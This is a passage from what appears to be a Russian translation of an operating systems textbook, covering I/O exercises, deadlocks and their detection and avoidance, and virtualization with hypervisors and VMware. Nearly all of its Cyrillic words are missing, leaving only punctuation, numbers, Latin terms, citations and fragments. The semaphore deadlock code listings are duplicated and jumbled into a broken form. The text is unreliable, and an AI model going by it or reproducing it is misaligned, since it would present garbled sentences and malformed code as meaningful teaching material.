(Tsafir et al., 2005).
- ,
.
(, ),
(Blackham et al., 2012).
-
. . Symdrive
(Renzelmann et al., 2012).
(Rhyzik et al., 2009)
.
,
, (Hocking, 2011; Tuan-Anh et al., 2013). ,
,
- (Dawson-Haggerty et al., 2013).
5.10.
- ,
, . - . -
. -, -,
, . -, -, ,
- , ,
-. -,
DMA,
, , .
- : , , -,
-, , .
. , ,
.
: , RAID-, -
.
480
5.
, .
,
.
,
, .
- , ,
-,
.
, .
-
.
UNIX- X Window System . ,
, , X-,
.
GUI, WIMP: Window , Icons , Menus Pointing device . , GUI-,
, , . , ,
,
. UNIX- GUI-
X-.
, .
, , -
, -
, . .
,
.
1. , , .
, . 1.6?
2. , . 5.1, 802.11g ?
.
3. . 5.2, -, ,
481
-,
,
-. , , :
, -.
?
4. .
5. DMA- . 32-
40 . .
, ?
6. , DMA
. ,
t1 , t2
(t1 >> t2).
DMA, 1000 :
) ;
) ?
,
,
.
7. DMA- DMA-,
.
? ,
.
8. ,
5 . ,
32
.
?
9. , .
,
. - ? .
10. . 5.7, ,
.
? , , , .
, ?
482
5.
11. (. . 1.7, ).
,
, , .
. , , .
,
. ,
.
? .
12. 50 80 .
, 6 ,
, .
,
,
50 ?
13. ,
.
14. - :
) , ;
) ;
) ;
) ASCII- .
15. .
, .
.
. , 10 /.
1 . ,
. , , . , 1 ,
1024 ( ),
1 , ,
? , ,
. , , , .
16. , , , (
)?
17.
7200 / 1 ?
200 512 .
483
484
5.
30. ,
Pentium- , .
?
31. : 10, 22, 20, 2, 40, 6 38.
6 .
:
) ;
) ;
) ( ).
20.
32.
.
, ?
33. - , , UNIX .
, ,
. , 10 000
, . , ,
. ?
34. , , . ,
, , ?
? .
35. ,
( , ),
. ,
? .
36.
, , , ECC.
, . 5.23,
?
37.
2 ( ). -
485
60 .
?
38. ,
.
500 , :
) 1 ( )?
) 100 ?
39.
, . 5.26. ,
5000
: 5008, 5012, 5015, 5029 5037. ,
5000, 5005 5013. , ()
5017 5033.
, ,
5023.
40. UNIX 32-
, .
( )? ,
?
41. 1600 1200 .
( )
, . 80 80 ( 6480 )
8 16 ,
50
? 80 , ?
5 . ?
42. DEL (SIGINT)
. ?
43. 5,
7- 12- . ,
5, ANSI - , ?
44. ,
20 /. 0,1 ,
3 , , ?
45. , . ,
.
,
24- ?
486
5.
BitBlt. , -
16 24 RGB.
1. ?
2. 100 , ,
?
46. , 10 ,
80 25 , ?
1024 768
24 ?
47. 5.2 RegisterClass. X Window,
5.1, , - .
?
48. Windows GDI
Rectangle(hdc, xleft, ytop, xright, ybottom);
(hdc), , ?
.
49. -, 400 160 ,
10 . Fast Ethernet
100 / ?
50. ,
1 /. -
?
: , , , .
51. ?
52. V
V/n, 1/n2 ,
1/n . ,
1 ,
100 . n
? , .
53.
. UNIX- ,
X Window System. ,
,
487
, .
?
54. , .
.
55. , .
,
0 999,
( ), .
56. ,
. (S <int>, T, E <int>, P): S <int> , <int>; T
; E <int> , <int>; P
,
.
.
6.
, . ,
.
, .
,
.
.
,
. , , Blu-ray-. A . B -:
Blu-ray- . A Blu-ray-,
, B. ,
, B .
. (), (deadlock).
. ,
, . , , Blu-ray- DVD,
,
, .
(, ), ,
.
, .
. ,
, . A R1, B R2,
,
. ,
, .
, , .
6.1.
489
,
, . .
Operating Systems Review,
(Newton, 1979; Zobel, 1983).
, 1980 ,
.
6.1.
, .
, , . . , ,
, .
(, Blu-ray-) - (, ). ,
. , Blu-ray-.
,
. , , ,
,
.
6.1.1.
: . , ,
. . ,
1 , 1 ,
- . A , ,
. ,
.
B, , , . ,
A , B
, .
, B,
, A. A , . .
,
. ,
Blu-ray-, ,
490
6.
Blu-ray-. Blu-ray-
.
. , , . ,
, -
.
, .
.
.
:
1. .
2. .
3. .
, . ,
.
, , ,
, .
, ,
: , , .
,
, .
,
.
. request,
. , , ,
.
open. ,
,
.
6.1.2.
, , , .
, , .
6.1.
491
, 1.
.
down ,
, , up . 6.1, .
6.1. : ;
void process_A(void) {
down(&resource_1);
use_resource_1( );
up(&resource_1);
}
void process_A(void) {
down(&resource_1);
down(&resource_2);
use_both_resources( );
up(&resource_2);
up(&resource_1);
}
. , 6.1, . ,
.
. , . , ,
, .
A B . 6.2 :
; . , .
6.2. : ;
typedef int semaphore;
semaphore resource_1;
semaphore resource_2;
semaphore resource_1;
semaphore resource_2;
void process_A(void) {
down(&resource_1);
down(&resource_2);
use_both_resources( );
up(&resource_2);
up(&resource_1);
}
void process_A(void) {
down(&resource_1);
down(&resource_2);
use_both_resources( );
up(&resource_2);
up(&resource_1);
}
void process_B(void) {
down(&resource_1);
down(&resource_2);
void process_B(void){
down(&resource_2);
down(&resource_1);
492
6.
use_both_resources( );
up(&resource_2);
up(&resource_1);
use_both_resources( );
up(&resource_1);
up(&resource_2);
}
6.2, ,
.
. 1 ,
, .
6.2, . ,
,
. , A 1, B
2.
. . , .
, - : , ,
, .
, .
.
6.2.
.
,
,
.
,
- , , , . , ,
, , .
,
, , ,
, .
, ,
- ,
. , ,
, ,
. ,
- , .
. , .
. , , -
6.2.
493
. ,
.
6.2.1.
6.2.2.
(Holt, 1972) , . : ,
, , . ,
() (), ,
,
. . 6.1, R A.
, , ,
. . 6.1, B
S. . 6.1, :
C T,
D. D T,
U, C. . ,
, (,
).
: CTDUC.
494
6.
. 6.1. : a ; ;
, . ,
, A, B C, , R, S T.
, , . 6.2, .
, A
, , B
, , C.
(
), .
,
- . ,
,
-.
.
, -,
, , ,
,
.
, -, ,
. ,
. 6.2, . ,
, . 6.2, .
4 A, . 6.2, , S. B C ,
,
. 6.2, .
,
- . , ,
, (
) , . . 6.2, , B,
S. A C,
,
6.2.
. 6.2.
495
496
6.
. 6.2, , , . 6.2, .
, . 6.2, , .
, . 6.2, , B
S, A , C .
B T, .
B , C .
, . ,
, ,
/ .
- . , ,
, , , .
,
,
(Holt, 1972).
:
1. . , , .
2. . , .
3. .
4. ,
.
.
6.3.
:
, 1.
-. ,
. ,
, .
, -
,
.
- .
60 /, , ,
, . . .
6.4.
497
,
, , open, , Blu-ray- ,
- .
, . .
Blu-ray-, ,
, .
.
6.4.
.
. ,
,
.
, .
6.4.1.
,
. , Blu-ray-,
, . , ,
. .
(. 6.1). , , . ,
, . , ,
.
,
A G R W. ,
:
1. A R S.
2. B , T.
3. C , S.
4. D U S T.
5. E T V.
6. F W S.
7. G V U.
498
6.
: , , ?
, (. 6.3, ).
, .
. 6.3, . , D, E G .
A, C F , S
,
.
. (, ,
, D, .)
. 6.3. ;
, .
. ,
,
. , L, , .
, ,
.
:
1. N, , ,
N .
2. () L, .
3. L, , L . , ,
( L), .
4. , - . , 5,
, 6.
6.4.
499
5. .
, 3.
6. , ,
, .
. , ,
, . , 3.
,
, .
, , .
- ,
. ,
, , .
, , ,
.
, , . 6.3, . ,
,
R, A, B, C, S, D, T, E, F . .
, .
R L . R
, A L, L = [R, A]. A S, L = [R, A, S]. S
, , ,
A. A
, R, .
, A
L . ,
B. B , D; : L = [B, T, E, V, G, U,
D]. . S, D. T L
[B, T, E, V, G, U, D, T], .
.
(Even, 1979).
.
6.4.2.
- , .
,
n , P1 Pn. m , 1 1, 2 2,
500
6.
Ei i ( 1 i m). E .
.
, 1 , E1 = 2
, .
- .
A , Ai i,
( ). , A1 0.
: C R
. i- C ,
Pi. , Cij
j, i. Rij
j, Pi.
. 6.4.
. 6.4. ,
. , .
,
, j
, .
. ,
A B A B ,
A B.
: A B , Ai Bi 1 i m.
.
, ,
. ,
6.4.
501
.
:
, .
:
1. , Pi, i- R
A.
2. , A i- C,
1.
3. , .
, ,
.
, .
, .
, .
. , , , . , ,
. ( ),
.
,
. 6.5. , , , Bluray-. 1 . 2
Blu-ray-. 3 .
, R.
. 6.5. ,
502
6.
, .
- Blu-ray-. , .
, ,
, :
A = (2 2 2 0)
2, ,
:
A = (4 2 2 1)
.
.
, . 6.5. , 3 Blu-ray-,
. , .
3 ,
Blu-ray-.
, , ( ,
), ,
. , ,
. ,
. ,
k , , , - .
,
.
6.4.3.
,
. ? -
, .
.
- .
.
, ,
.
6.4.
503
, ,
. (
). .
,
.
, ,
. .
,
, .
,
, . , , .
, ,
, .
,
, .
, .
, , , , ,
. ,
, (,
, ). ,
,
.
, , .
, . ,
. ,
. , ,
.
, ,
.
, , . ,
, , , . . -
504
6.
.
.
, . , ,
, , .
,
.
, ,
. -
, , , , .
6.5.
,
, ( R . 6.4).
.
, ,
, . :
, , ? ,
, .
.
6.5.1.
. ,
, ,
. ,
.
. 6.6 ,
. ,
A. , B. I1 A , I2
. I3 I4 . B I5 I7 I6
I8.
. p,
. A , q,
A - , B
. q , , -
6.5.
505
. 6.6.
B.
,
. ,
( ) (
), , .
A I1 r s, , . B t,
.
.
,
.
. , , , ,
.
, I1 I2,
I5 I6, I2 I6
. A ,
B , . , . t
, I4.
, u, .
, t B . , .
,
. ,
B , A .
506
6.
6.5.2.
, . 6.4.
, E, A, C R. , - , ,
.
, . . 6.7, , A 3 ,
9 . B 2 ,
4. C 2
, 5. 10
, 7 , 3 .
. 6.7.
. 6.7, , , .
B
, 2 ,
, . 6.7, . B ,
, . 6.7, .
C, , . 6.7, . C , . 6.7, .
A - 6
. , , . 6.7, ,
, .
, . 6.8, , A
, . 6.8, . ,
? .
B , (. 6.8, ).
B , ,
. 6.8, . : 4 , 5 .
,
6.5.
507
. 6.8.
. , , , . 6.8, , , . 6.8, ,
. , . 6.8, ,
A C, . ,
, A .
,
. , . 6.8, ,
.
. , A
, C,
. , ,
, ,
.
6.5.3.
, ,
(Dijkstra, 1965) .
,
.
,
, . (
, , .) , . ,
.
, . . 6.9, :
A, B, C D, (, 1 1000 ). ,
, 10 , 22, . (
, , , , .)
, ( ). - ,
. 6.9, . ,
508
6.
. 6.9. : ;
;
,
C, C
. ,
D, B . .
, , B
, . 6.9, . , . 6.9, .
, . ,
,
.
,
. , , . ,
, , - . ,
,
. . ,
.
6.5.4.
.
. 6.10 , . . ,
. ,
. . 6.5 C
R. ,
,
.
, , ( E), ( P) ( A).
6.5.
509
. 6.10.
E, ,
, Blu-ray-.
, , Blu-ray-.
, , .
, .
.
1. R , ,
A.
, ,
(, , ).
2. , , ,
( ) .
A.
3. 1 2 ,
( ), , (
).
1 , ,
: ,
.
, . 6.10. .
, B .
, -
( D , A
E, ).
510
6.
, B
E .
(1 0 0 0), .
, E .
1965 .
.
. , ,
, ,
, . , , . , , ,
( ). , , ,
.
,
. , ,
, , 70 %, , 30 %
.
6.6.
- ?
, ,
, .
, ,
(Koffman at al., 1971), ,
. ,
,
(Havender, 1968).
6.6.1.
.
, , .
, . ,
,
. ()
.
, , 1
. , ,
, .
1
( UNIX),
.
6.6.
511
,
, , .
, ,
.
. , ,
, ?
, ,
,
. - ,
, .
,
. , , ,
.
6.6.2.
, (Coffman et al., 1971),
. ,
, ,
. ,
. , , ,
. ,
.
, , ,
, , . ,
. ,
. , , ,
, , , .
,
.
- ,
.
,
( ,
).
, .
, ,
, .
, .
512
6.
6.6.3.
().
,
, .
, , .
,
.
.
. ,
, ,
.
6.6.4.
.
. , ,
.
, . , .
, , (. 6.11, ).
: , ,
. , ,
, .
,
. , ,
. 6.11, . , A
j, B i. , i j , . i > j, A j, ,
. i < j, B i,
. ,
.
.
.
, , ,
. , , ,
, .
. -
. , ,
, .
6.7.
513
. 6.11. ;
,
, ,
. 9 10, , ,
1.
,
, .
,
, ,
, .
. 6.1.
6.1.
6.7.
,
( ), , , , .
6.7.1.
,
, .
,
.
, .
514
6.
. .
, ,
. .
, , .
, , , .
, ,
. .
. ,
- .
, ,
- ,
. ,
,
.
.
6.7.2.
, . , ,
, , .
, Bluray- , .
.
, . ,
. 6.2 ,
. ,
Blu-ray-, (
) ,
( ). ,
.
,
, . (, ), . , A -
B, , B . , - - . A
. B -
. .
6.7.
515
, . A - , B, .
. , ,
, , ,
.
, .
.
, .
( )
( , ).
, ,
, .
, ,
, .
, , , ( , , ).
. ,
.
, , ,
, ,
. ,
. ,
( )
, .
, ,
, .
, ,
Computer Networks1 (Tanenbaum and Wetherall, 2010). , , . . ,
, , . 6.12.
. , :
. (host) , - , ,
. . (, router)
,
.
DSL-, ,
, , ,
- .
1
. . 4- . .: , 2010.
516
6.
. 6.12.
,
, ,
. , . . 6.12
( ,
, ). , A B,
B C,
C D, D A.
, , .
6.7.3.
,
, ,
, . , ,
. , , .
, ,
,
, ,
. try_lock,
,
. , .
acquire lock,
, , .
(, ),
( 6.3). , try_lock, .
,
. 6.3 1,
2. . ,
.
, ( )
6.7.
517
. ,
, , - , , . ,
(livelock).
6.3. ,
.
. ,
. fork - ,
, , fork,
.
, UNIX- 100 .
10 , 12 .
9 , 10 90
. 10
, . , , , .
fork, ?
i-, .
.
.
, ,
n 1/n ,
? , .
518
6.
, UNIX Windows,
, ,
( ) , ,
. ,
. , ,
- .
, , .
6.7.4.
, , , . .
, ,
. , , ,
, .
. ,
, ,
. ,
. ?
,
(,
).
. ,
,
. ,
. , .
( , ).
. ,
, .
.
, ,
. ,
,
- n , , - . .
6.8.
- , , , .
,
6.9.
519
, 4 . , . ,
, .
, ,
(Jula et al., 2011). , ,
, , . (Marino et al., 2013),
, .
. Pyla Varadarajan (2012). , Cai Chan (2012), ,
, .
. Wu (2013) .
.
, , .
, . Wang Lu (2013)
.
(Hilbrich et al., 2013)
MPI. ,
.
, , -,
, -, . ,
, ,
.
6.9.
. , ,
. , . , ,
- , .
, , ,
,
.
520
6.
,
. , . . , , .
, . ,
,
, .
.
. ,
, .
, , , .
.
1. , - .
2. , , , .
,
? ?
3. , ?
4. 6.1 , .
?
5. ( , , ).
, , . ?
6. , , ,
, , , , , , . . ,
, , . , .
521
, -,
,
.
? -
?
7. , . .
, , ,
, , .
, ,
, , ( ),
, .
? ,
?
8.
? , .
9. . 6.1 .
, , ,
? , .
10. . 6.2. , n- C S, R.
? , S,
R.
11. , . , , , ,
,
.
12. ,
, , . -
.
, (
), . ,
,
.
. . ,
.
?
13. .
,
?
14. , P1, P2, P3
P4, , RS1, RS2, RS3, RS4 RS5.
522
6.
0
C=
1
1
R=
E = (24144)
A = (01021)
15. , 6.4.2, . ,
.
16. , , - , :
) ;
) ;
) .
17. , . 6.4 i Cij + Rij > Ej.
?
18. . 6.6 , .
- , ?
19. , . 6.6,
? , ? , ?
20. .
. , ?
21. , , ? , . ,
, ,
.
22. . 6.9, . D ,
, ? ,
C, D?
23. .
. ?
.
24. , p ,
m , r. ,
?
25. , A . 6.10
. ?
26. , m n . m n ,
523
, manb.
a b?
27. .
.
10211
11213
00x11
20110
22210
11010
21310
11110
11221
x, ?
28. , ,
. , ,
.
29. , A B, 1, 2 3. A : 1, 2, 3, B
, . B 3, 2, 1, . ,
.
?
30. , ,
: send () receive ().
, , , , ,
. , .
? .
31. ,
. ,
, .
,
. , , x,
y, y , x. ,
. ,
. ( , , , , , .)
32.
. ,
(, ). ,
524
6.
, ,
, .
.
33. , ,
. , . -
, . ,
.
, ?
34. , , .
. ,
,
?
?
35. , .
36. ,
. , .
,
. .
, ?
?
37. , CSMA/CD
( ),
, ,
, .
Ethernet ,
, . ,
.
.
, .
) , ?
) ?
) ?
38.
, ,
( ) , . ,
. ,
, ,
525
.
, ?
.
39. . , .
, .
, , , ,
.
, , .
, , , , ,
.
. (
) ,
. ,
. ? ?
? .
40. , , , ,
.
,
, . , .
, ,
, ( ),
,
. , ,
, .
, ,
. , , , .
41. , .
, ,
, , , ,
,
.
42. , .
, , .
.
43. ,
.
: , ,
526
6.
( E), C (
. .), R ( . .).
, . ,
, .
44. , ,
.
: .
: , , ,
. ,
.
, ,
.
45. . ,
, .
. , .
7.
, ,
. , - FTP-, .
, , , ,
. , ,
: , 24 365 366 .
,
.
. -,
.
,
, .
, . ,
: - Linux, Windows,
OS X,
UNIX.
.
? ( ) , , 1960- .
, , , .
, (Virtual Machine Monitor
(VMM)) ()
. VMM . 1.7.5 ,
, , ,
. ,
,
.
,
.
,
528
7.
, ,
. , ,
.
,
. , ,
.
, , - , , ,
, , .
, , ,
, , ,
.
,
( Intel x86).
. ,
. ,
Amazon Microsoft,
, , -
. -
, (
).
. , ,
.
, - .
, , , .
.
, (,
) , ,
.
, , , , .
, , , .
( ),
7.1.
529
.
, . , , .
. ,
Windows 7, Windows 8, Linux, FreeBSD,
OpenBSD, NetBSD OS X, , .
. , , . -,
. -,
, .
,
.
,
(cloud). :
-, ,
. -
- , , ,
,
, , .
,
, ,
. .
, , ,
-
.
,
, , , ,
.
7.1.
, , ,
. 60- . IBM , : SIMMON CP-40. CP-40 ,
CP-67 CP/CMS,
IBM System/360 Model 67.
530
7.
VM/370 System/370,
1972 . System/370 1990-
IBM System/390. , . ,
, , .
2000 IBM z-, 64-
System/360.
,
x86.
1974 (-), , (Gerald Popek)
(Robert Goldberg), (Formal Requirements
for Virtualizable Third Generation Architectures),
, , (Popek and Goldberg, 1974).
.
, x86,
1970- , . .
()
. 1970- , UNIX, Ethernet, Cray-1, Microsoft Apple, ,
, 1970- !
Disco 1990- ,
VMware, , 1
2 (Bugnion et al., 1997; Bugnion
et al., 2012). , 1 2
1970- (Goldberg, 1972). VMware
x86 1999 . : Xen, KVM, VirtualBox,
Hyper-V, Parallels . , , , 1974 , IBM
, .
1999 , , .
7.2. ,
, , . , , ,
, ,
. . , :
1. .
7.2. ,
531
2.
, .
3. .
,
(, Bochs) , .
, . ,
INC () , , , .
,
. , , ,
,
. , . ,
, ,
, .
, , , (VMM)
.
. x86 - Intel 386, 20
.
,
, - ,
, .
, -,
(MMU) . .
(sensitive instructions), , . ,
. (privileged instructions).
, , .
, ,
, .
IBM/370, , Intel 386 . -
386- . , POPF
, ,
. .
386- , ,
.
, . , , ,
, , -
532
7.
, . ,
x86 2005
, ,
. , , ,
.
, 2005 Intel AMD (Uhlig, 2005). Intel (Virtualization
Technology (VT)), AMD
(Secure Virtual Machine (SVM)).
VT. IBM
VM/370, .
, .
,
, , -. ,
, , .
,
.
, ,
. , , x86- ,
2005 , , VMware x86 1999 . ?
, 2005
. ,
,
. , ,
-
(,
CR3, ). ,
. , - ,
. ,
, ,
. .
7.4.
. , ,
, . , , , .
7.3.
533
. ,
, , , . , VMM
. VMM ,
.
. ,
, .
,
. ,
(hypercall), ( ,
).
, ,
, .
, , , . IBM VM , , , 1972 . Denali (Whitaker et al., 2002) Xen (Barham et al., 2003).
,
, API .
, , .
, ,
, .
,
/ .
.
,
.
WINE, Windows
POSIX- , Linux, BSD OS X,
QEMU ,
.
7.3.
Goldberg (1972) . , (type 1 hypervisor),
. 7.1, . ,
, .
,
,
.
534
7.
Windows
Linux
(, Windows)
(, Linux)
( , ,
, . .)
( , ,
, . .)
. 7.1. :
,
, - (hosted hypervisors),
, Windows, Linux OS X.
DVD, USB- -,
. . ,
ISO- -,
, DVD-.
( Windows, Linux OS X) ,
DVD.
.
, ,
, . 7.1.
.
7.4.
535
7.1. . ,
VMware Workstation 1
Xen 1.0
Wine
7.4.
, . ,
,
(. 7.2). , .
,
( ). , ,
(, , ). (virtual
kernel mode). ,
, (
).
. 7.2. , ,
, ( , ) , ,
?
536
7.
VT- , . VT-
(. . 7.2). , ,
. ,
,
, .
7.4.1. ,
VT-
, ? , VMware
x86. , ,
, (binary
translation) , x86,
(protection rings) .
x86 , , . 3
. . .
0 , . 0.
. , .
. 7.3,
( 0), ( 3),
( 1).
,
.
.
, .
,
.
,
(basic block),
, . , , , , , ,
. ,
, (
), , , ,
7.4.
537
2
( ,
+ )
1
0
. 7.3. ,
1, 0
.
, (
).
, . , . ,
. , , ( , ,
VMware), .
.
,
, .
, .
, , .
.
: , ( ),
, , -.
, .
, 1,
,
. ,
,
.
.
,
. , VMware ESX Server (,
2001 ) -
538
7.
, VMware Workstation ( , ).
, . ,
.
,
,
(4 32- ).
( ),
, .
, , . , Linux 3 4-
, 1 .
. ,
, .
()
. .
, , ,
,
. ,
,
.
.
,
0,
. ,
,
. ,
,
.
,
. . ,
, .
,
.
(world switch).
VMware 7.12.
7.4.
539
, ,
:
, .
, ,
.
, .
7.4.2.
, VT
, ,
(Adams and Agesen, 2006). , , ,
VT-, ,
, , TLB- ,
. ,
, .
,
. ( )
, .
, . , , , CLI (clear interrupts ).
,
. ,
,
.
.
(Interrupt Flag (IF))
,
( ,
, ). CLI - VirtualCPU.IF = 0,
,
. , .
VT-
.
, . ,
,
.
540
7.
, (
), - . 7.6 ,
. ,
.
7.5.
?
, , ,
, . ,
, .
.
,
, ().
, ,
, .
, , , , (Application Programming Interface (API)), ,
, .
,
-, , , . 1.26. ,
.
-
( ).
, , , ,
(Hand et al., 2005).
,
, , (Heiser et al., 2006). , ,
,
, (Hohmuth et al., 2004).
, , ,
(Roscoe et al.,
2007). ( ) () , ,
.
, ,
(,
Windows) (,
7.5. ?
541
Linux). , API
. .
. 7.4.
, VT-.
Windows.
,
.
Linux, ,
. , -
(, , ),
,
Linux.
Windows
Linux
. 7.4.
. 7.4 , .
. ,
Windows. .
: . ,
, ,
MMU.
,
, .
, , ,
,
, .
. , ,
542
7.
? . -, , ,
VMware, Xen ,
, Hyper-V Microsoft, -
API- ?
?
Amsden et al. (2006). ,
- ,
. ,
(Virtual Machine Interface (VMI)),
, .
-
- .
Linux,
VMI Linux (VMIL), . 7.5. VMI Linux , , ,
. 7.5, , ()
. , VMware Xen,
, ( ) , .
, .
VMI Linux
VMI Linux
VMI Linux
VMIL/HWinterface
VMIL
Vmware
VMIL
Xen
VMware
Xen
. paravirt ops.
, , . ,
Linux, , IBM, VMware, Xen Red Hat,
Linux. , , 2.6.23,
,
.
7.6.
543
7.6.
, . . -. .
, .
, .
.
,
.
. , .
, ,
7, 4
3 10, 11 12 . ,
,
. . VT- .
. .
, ,
, .
? 10, 11 12
7, 4 3
. .
, ,
4, 5 6 10, 11 12
.
, ? ,
10, 11 12 .
, , 20, 21 22, ,
, 4, 5 6 2 20, 21 22.
, 10, 11 12,
. , (shadow page table),
, , ,
.
,
. , 7
, 200 ( 10),
. ,
544
7.
.
, , , , ,
.
( ) ,
,
.
,
, .
, ,
, , .
,
, , , ,
. ,
.
,
.
, .
, . . ,
. , ,
, ,
. ,
? , , .
INVLPG (
TLB-). , .
, .
,
.
, , ,
, ,
. ,
(guest-induced page faults),
, .
. ,
(hypervisor-induced page faults),
.
, ,
7.6.
545
(VM exit), , . ,
VM-. VM-, ,
. , .
,
. . ,
. - ,
.
. , ,
.
.
, -
, . ,
, , . ,
,
, , , .
7.6.1.
.
(nested page tables) AMD.
Intel (Extended Page Tables (EPT)).
,
- . ,
x86 Intel . VT-
, ,
, -. AMD Intel
, .
, .
,
. . ,
Linux-
Xen VMware ESX- . (guest virtual addresses)
(guest physical addresses) , , (host physical
addresses), (machine
physical addresses). , EPT
. EPT -
,
. , -
546
7.
, ,
. ,
( ) , ,
. . 7.6.
,
, . ,
.
. ,
. EPT
VM-. ,
. ,
,
.
63
48 47
39 38
1-
1-
30 29
2-
21 20
3-
12 11
4-
1-
+
2-
. .
. 7.6. () ,
,
7.6.2.
,
, , , . (overcommitment) ,
,
, . , ,
. , 32 ,
7.7. -
547
, 16 . ,
. , ,
. , , , (,
Linux) ,
(deduplication).
, 16 .
, ,
. , 1 ,
2 .
,
. ,
, ?
, .
, .
, ,
,
. .
( ,
), .
, , P.
. ,
. ,
, ,
. - .
,
(ballooning),
, .
.
, , , , , . ,
,
. , .
.
7.7. -
-.
-.
548
7.
. ?
, . ., .
.
-,
. ,
.
. ,
, ( ), .
. , ( ), , ,
, , -.
, , ,
. ,
, ( RAID-)
, ,
IDE-,
IDE-. IDE-, .
.
VM/370: ,
. .
, -, ,
.
MAC-
, Ethernet-.
. , . ,
, , .
7.7.1. -
, , , DMA,
. , ,
DMA.
- (I/O MMU), , MMU . I/O MMU
.
7.7. -
549
7.7.2.
-
- .
, , , ,
(, 1 1403), , ,
550
7.
, . Xen
-
- , (domain 0).
- ,
:
-, .
-, ,
, . ,
, .
, ,
, ,
, ( MINIX3), , , .
7.7.3. -
.
. ,
128
.
, ,
( ) ,
. , .
, -
.
, ,
, , . PCIe
- .
- (Single root
I/O virtualization (SR-IOV))
. , SR-IOV,
, DMA-
(Intel, 2011).
,
. ,
. (, ,
) .
SR-IOV : (Physical Functions (PF)) (Virtual Functions (VF)). -
7.9.
551
PCIe-
, .
.
PCIe-,
. . SR-IOV ( )
, ,
. ,
SR-IOV, , . ()
, . , Intel
I350 .
7.8.
,
, ,
: . ,
, , , , . .
, ,
.
, ,
, ,
, ,
. -
-, .
,
. , , , ,
, .
(virtual appliances). ,
Amazon EC2, ,
(Software as a Service ).
7.9.
,
. , ,
, , ,
( ) , , -
552
7.
32 .
.
,
, . , , .
, .
, .
. , , , ,
.
, . Disco
(transparent page sharing), ,
VMware (contentbased page sharing), . ,
. - ,
, .
( ) ,
. , , (
) .
(copy on write), ,
, .
, ,
, .
,
32 , , 32 .
, , .
,
, . .
, , . !
7.10.
, , .
,
. ?
7.11.
553
,
? , .
, ,
, ,
.
,
. ,
, . , .
7.11.
. . , ,
. .
,
. ,
, , ,
,
. ,
, . .
, , ,
. (), , ,
:
1. (On-demand self-service). , .
2. (Broad network access).
, .
3. (Resource pooling). , ,
.
, .
4. (Rapid elasticity).
, ,
, .
554
7.
5. (Measured service). ,
.
7.11.1.
,
. ,
,
. ,
, ,
.
(Infrastructure As A Service (IAAS))
(Platform As A Service (PAAS)), , , , , - . .,
(Software As A Service (SAAS)),
, Microsoft
Office 365 Google Apps, .
IAAS- Amazon EC2, Xen .
.
. , ( , )
.
,
IT-, , , ,
, , , , .
, ,
, . , IT , 10 .
.
?
, ? ( )
(,
, ,
)? X,
( (vendor lock-in)?
7.11.2.
IAAS-
, .
, , ,
. : ,
7.11.
555
( ), ? , ,
,
.
.
, , , . ,
.
. ,
, ,
.
,
. ,
, ,
,
.
, , .
(
NFS), , , 1 3.
IP-. -
. , , ,
.
(live migration). ,
. ,
, (pre-copy
memory migration). , ,
.
, , . ,
,
, .
,
. .
,
. ,
.
, ,
. , ,
(seamless live migration).
7.11.3.
. , , .
. (, , )
556
7.
, - .
,
- .
- ,
.
, .
, , .
(copy on write),
.
- , . ,
? , ,
, . ,
.
7.12. : VMWARE
1999 VMware, Inc.
, , , ,
. ,
, .
. VMware Workstation,
, .
VMware Workstation. ESX Server,
VMware.
7.12.1. VMware
19601970-
, ,
1980- , .
IBM . ,
, , x86 Intel,
(, , ). ,
386, 286,
10
.
1997 VMware Disco (Bugnion et al., 1997) ( , UNIX) ,
, FLASH-.
,
7.12. : VMWARE
557
:
,
. Disco,
,
,
. Disco
MIPS-, ,
,
x86, .
1998 VMware, Inc.,
x86 . VMware (VMware Workstation)
, 32- x86. 1999 : VMware
Workstation for Linux, ,
Linux, VMware Workstation for Windows,
Windows NT. :
(,
)
, () -.
VMware Workstation
IT-.
, ,
, .
.
VMware , , ESX Server 2001 . ESX Server
, VMware Workstation,
. , ESX Server
, . ESX
( , -)
. , (ballooning)
(Waldspurger, 2002).
ESX Server . IT- , , , , -.
: 10 %
( ). ESX Server IT-
558
7.
,
, , .
2002 VMware
ESX Server, Virtual Center,
vSphere. : IT-
Virtual Center ,
, .
Virtual Center , VMotion (Nelson et
al., 2005),
. IT-
, .
7.12. : VMWARE
559
x86
.
, VMware Workstation ,
.
VMware Workstation x86 , . VMware Workstation , ,
.
,
VMware Workstation.
7.12.3.
x86
:
(adding a level
of indirection) .
: , .
, ,
. VMware
x86 :
. , x86
.
, (
), , - .
. ,
. VMware
,
,
, .
, x86
.
.
,
. .
, ,
,
. , -
560
7.
, . ,
( ,
).
. ,
, VMware
. ,
. ,
:
1. x86 .
, . ,
POPF ( ) , .
,
. Intel ,
.
2. x86 . x86
CISC-,
.
(, , v8086
), - , ,
(, ).
3. x86 . x86
,
.
. :
( ,
), ( ,
) .
4. , . ,
. VMware ,
. , VMware
,
.
7.12. : VMWARE
561
VMware Workstation ,
. VMM, . VMX,
.
, VMM x86- . ,
. , ,
. ,
VMware Workstation , VMM VMX.
x86-
VMM , . VMM,
, , ,
, , .
. (Barham et al., 2003; Whitaker et al., 2002)
. ,
, . VMware
-
, , Windows.
.
VMM.
. SimOS (Rosenblum et
al., 1997) , ,
, , ,
.
.
. -,
x86
,
. ,
,
. , ,
, , . , POPF ,
(, ), ,
562
7.
(
).
. 7.7 VMware
VMM. , , , ,
.
,
-.
VMM
( MMU, - . .)
. 7.7. VMware
( )
, , ,
, . , , ,
() .
, , ( ) (
). ,
,
. ,
:
( 0 x86);
- ( x86, -
);
,
, BIOS 16- .
. Bugnion et al. (2012). ,
, , , ,
.
7.12. : VMWARE
563
,
, x86 ,
.
, .
, .
, ,
x86, ,
, , , , ,
. ,
, , .
.
.
,
. ,
VMware VMM ( )
:
VMM , ,
( );
VMM
( 16- 32- x86).
, .
,
, ,
( ), VMM.
,
, .
VMware VMM , .
. 4
VMM . ( 4
4 , 32- ). VMM
, , , ( , )
4- .
,
VMM ,
,
. , ,
,
, ,
564
7.
, . ,
. x86 .
VMware , . VMware Workstation
Linux,
Windows 3.1, Windows 95/98 Windows NT. .
, MINIX 3, .
VMM -
,
. ,
,
.
, x86 ( 0 3),
1 2 ( OS/2
IBM). , ,
1 2, VMware VMM 1 2,
.
, , , VMware VMM
, 1 2 ,
.
0 VMware VMM
1.
, x86. x86 .
, - , ,
-, . .
- x86 , .
, -
. VMware
,
,
-.
() .
7.12. : VMWARE
565
. ,
( )
. .
. 7.2 , VMware Workstation
, .
7.2. ,
VMware Workstation, ca. 2000
( )
- x86 CPU - ,
-
,
512
()
PCI Bus
PCI bus
4x IDE-
7x Buslogic SCSI-
( )
1x IDE- -
ISO- -
2x 1,44-
1x (LPT)
LPT- -
